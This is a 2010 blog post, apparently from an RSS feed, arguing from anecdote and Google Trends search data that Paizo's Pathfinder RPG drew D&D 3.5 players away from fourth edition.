Paizo took a daring move at this juncture.  After disliking their early look at fourth edition, they chose to stick with 3.5, but it was clear that it would need some updates.  The competitive nature created by the OGL (along with Wizards' need to keep selling books) had created overpowered classes, races, spells, and other rules that just left the game without balance.  Lead developer Jason Bulmahn, who was previously the Editor-in-Chief of Dragon Magazine, took it upon himself to revise the D&amp;D 3.5 core books and release them in a revision that could stand up to the overpowered nature of these later books, preserving the balance.  This allowed the Pathfinder periodicals to continue the campaign without the drastic changes needed to adopt 4e and create even more inconsistencies than the system already had inherited.  The  Pathfinder RPG  was born.
 
 
Over a year into the release of 4e and I still have yet to play it (I've just located a group of friends actually interested in running it &mdash; I can't, I don't have a Windows computer).  Instead, the 3.5 campaigns I was involved in either dwindled away for other reasons, wrapped up, or converted to the Pathfinder Beta and then the final Pathfinder RPG itself.  I've played a multitude of different characters, and I can safely say that the 3.5 spirit is definitely preserved (even if certain classes are radically different, the changes are not only good but add a level of diversity within each base class that is quite novel).  Almost everybody I know who plays D&amp;D plays Pathfinder rather than 4e, and the 4e players I've talked with are both casual gamers and video gamers.
 
 
Anecdotal conclusion:  4e has very little momentum, the fanbase is a bit fractured, 3.5 is still preferred, and Pathfinder's revisions are growing in popularity.
 
 
Some proof, gathered from  Google Trends , a measure of popularity by search volume graphed over time:
 
 
&nbsp;
   
 
 
D&amp;D 3.5 is by far the dominant force slowly trending downward as a reflection of its age, then getting an upturn directly correlated to the Pathfinder RPG's announcement in spring 2009 and then its release in the summer of 2009. D&amp;D 4e got a small spike when it was announced (summer 2007) and then a large spike when it was released (summer 2008), but it very quickly slipped below the popularity of its predecessor (3.5) and Paizo, the company continuing to push 3.5 products.
 
 
My initial queries included &quot; d20 System &quot; (the D&amp;D  branding  license that paired with the OGL's content license) and &quot; System Reference Document &quot; (the game content freely available under the OGL), but Google had so little data that neither make the graph. Were 2000-2004 available for graphing, I'm sure both would have good presence, hovering just under &quot;Dungeons and Dragons&quot; and &quot;D&amp;D 3.5&quot;
 
 
News Flags:
 
 
	 &quot;No D&amp;D 4E for Paizo?!?&quot; Wired News, 2008-03-25. 
	 &quot;Paizo looking for volunteers for Pathfinder Society events&quot; Examiner.com, 2009-05-01 
	 &quot;Paizo summer sale&quot; Examiner.com, 2009-06-05 
	 &quot;Paizo partners with Reaper to produce Pathfinder miniatures&quot; Examiner.com, 2009-08-13 
 
 
Aside from the two spikes in 4e, the real detail is in 2009:
 
 
   
 
 
2009 saw D&amp;D 3.5 rise out of its slump in the face of the continued downwards trend of its manufacturer, Wizards of the Coast (omitted from that previous graph because its height before my 2006 truncation skewed the scale). The really interesting note is that 3.5 actually surpasses its maker in August 2009 ( Gen Con , the big D&amp;D convention, home to every big D&amp;D-related announcement), which coincides with the Pathfinder release.  This clearly demonstrates the split Pathfinder created, pulling loyal 3.5 fans away from 4e (and Wizards of the Coast as well, since they had stopped producing 3.5 materials).
 
 
Spikes of note include the first blip regarding Pathfinder RPG, relating to when they announced its name (setting it apart from the Pathfinder world) during the public beta, then rising in anticipation of its Gen Con release (August 2009), where it hit its peak. When it leveled off, Pathfinder found itself on equal ground with D&amp;D 4e, which has been flat since fall 2008.
 
 
Since Pathfinder's purpose is making 3.5 more balanced and playable, I think it's probably more fair to say 4e is the small fry. Wizards of the Coast is diversified into many different games such as Magic: The Gathering, the Pokemon Trading Card Game, and a slew of board games, many of which are significantly more profitable than the sum of all of their Dungeons and Dragons lines (not to mention that they're now a subsidiary of  Hasbro , the world's biggest game and toy company). Coupling that with their losing out to their own deprecated 3.5 product, I'd say Paizo might have stolen the crown for RPG manufacturing.
 
 
News Flags:
 
 
	 &quot;Paizo looking for volunteers for Pathfinder Society events&quot; Examiner.com, 2009-05-01 
	 &quot;Wizards of the Coast sue over pirated D&amp;D Player's Handbook&quot; CrunchGear, 2009-06-18 
	 &quot;Paizo summer sale&quot; Examiner.com 2009-06-05 
	 &quot;Executive, - Former Wizards of the Coast Executive, Randy Buehler, Joins Mind Control Software as Vice President of Business Strategy&quot; Ad-Hoc-News (Pressemitteilung), 2009-08-13 
	 &quot;Paizo partners with Reaper to produce Pathfinder miniatures&quot; Examiner.com 2009-08-13 
	 &quot;Sony Online Entertainment and Wizards of the Coast Collaborate to Develop Magic: The Gathering - Tactics(TM)&quot; Earthtimes (press release), 2009-11-02 
 
 
Want to take it for a spin?  The Pathfinder RPG's own System Reference Document is freely available all over the place, most notably at  www.d20pfsrd.com  which is amazingly well documented.  Obviously, checking out the actual  Paizo  website and storefront is also worthwhile, and buying the core book is highly recommended.
 </description>
   <link>http://khopesh.com/blog/adam-katz-musings/pathfinder-solid</link>
      <pubDate>Mon, 22 Feb 2010 19:17:54 -0500</pubDate>   
  </item>
   </channel>
</rss>

